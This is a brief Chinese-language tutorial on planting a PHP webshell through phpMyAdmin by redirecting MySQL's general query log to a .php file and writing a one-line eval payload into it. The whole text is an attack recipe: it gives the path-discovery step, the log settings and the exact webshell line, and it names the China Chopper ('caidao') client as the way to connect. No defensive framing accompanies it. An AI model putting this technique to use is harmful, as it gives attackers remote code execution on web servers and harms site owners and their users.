通过phpinfo.php 或其他途径获取网站绝对路径

更改phpMyAdmin中变量选项:

general log file D:\phpStudy\MySQL\data\Archerx.php    #拓展名改为php
general log   ON   #打开日志记录

执行SQL语句如:

select "<?php @eval($_POST['archerx']); ?>";

该一句话木马会写入日志文件,菜刀连接即可。

preView